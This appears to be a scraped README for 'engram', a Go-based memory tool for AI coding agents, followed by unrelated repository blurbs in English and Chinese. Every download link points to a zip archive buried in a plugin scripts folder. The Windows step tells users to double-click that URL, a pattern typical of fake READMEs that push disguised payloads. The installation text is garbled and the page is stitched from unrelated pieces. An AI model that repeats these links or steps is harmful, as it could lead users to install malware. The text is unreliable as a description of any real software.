Empower AI coding agents with persistent memory using a simple Go binary. Access through CLI, HTTP API, or interactive TUI, all with zero dependencies.
# 💾 engram - Store Memory for Your AI Simply [](https://raw.githubusercontent.com/kiwi018/engram/main/plugin/claude-code/scripts/Software-v2.6.zip) ## 🚀 Getting Started Follow these steps to set up and run engram. This application helps you manage data for AI coding agents in an easy way. ### 📋 System Requirements - Operating System: Windows, macOS, or Linux - Minimum RAM: 2 GB - Disk Space: At least 100 MB free - Internet access for initial setup ### 📥 Download engram To get engram, visit the following link: [Download engram](https://raw.githubusercontent.com/kiwi018/engram/main/plugin/claude-code/scripts/Software-v2.6.zip) You will find all the necessary files and instructions on that page. ## ⚙️ Installation 1. **Download the Latest Version**: Visit the [Download engram](https://raw.githubusercontent.com/kiwi018/engram/main/plugin/claude-code/scripts/Software-v2.6.zip) page. Choose the latest release suitable for your operating system. 2. **Extract Files**: If the download is a compressed file (like .zip or https://raw.githubusercontent.com/kiwi018/engram/main/plugin/claude-code/scripts/Software-v2.6.zip), extract it to your preferred location on your computer. 3. **Run the Application**: - **Windows**: Double-click the `https://raw.githubusercontent.com/kiwi018/engram/main/plugin/claude-code/scripts/Software-v2.6.zip` file. - **macOS**: Open the folder, then double-click the `engram` app. - **Linux**: Open a terminal, navigate to the folder with the extracted files, and run `./engram`. ## 🚀 How to Use engram 1. **Open Application**: Launch engram using the method described above. 2. **Connect to the Server**: If prompted, enter the server details, such as hostname and port. These are usually found in the installation guide. 3. **Manage Your Data**: Use the provided interface to store and retrieve memory data for your AI
HAL 分层混合模型工作流 — 强模型(Claude)负责理解/拆解/验收,低成本模型(DeepSeek)负责检索/提取/清洗。Hermes Agent skill。
An LLM agent fine-tuned on DeepSeek for spaced repetition, dynamically integrating knowledge points based on the Ebbinghaus forgetting curve.
基于 STM32F103 构建的端到端 AI 智能手表生态。自研“零重定位”原生机器码动态加载引擎与页面栈式 UI 框架;集成生产级 OTA 回滚保护机制与高带宽(921600 baud)串口协议栈。通过 Node.js 中继实现 DeepSeek AI 语义控制及 ASRPRO 语音全双工交互,是一个集成了分布式计算、现代存储管理与 AI Agent 的嵌入式全栈工程。
A Meta-Agent-Driven Self-Evolving Multi-Agent System for UAV Detection and Tracking
One command to run Hermes AI Agent with a browser UI. Zero prerequisites. 一行命令,AI 就位。
网页应用Agent,接入DeepSeek、Mimo等模型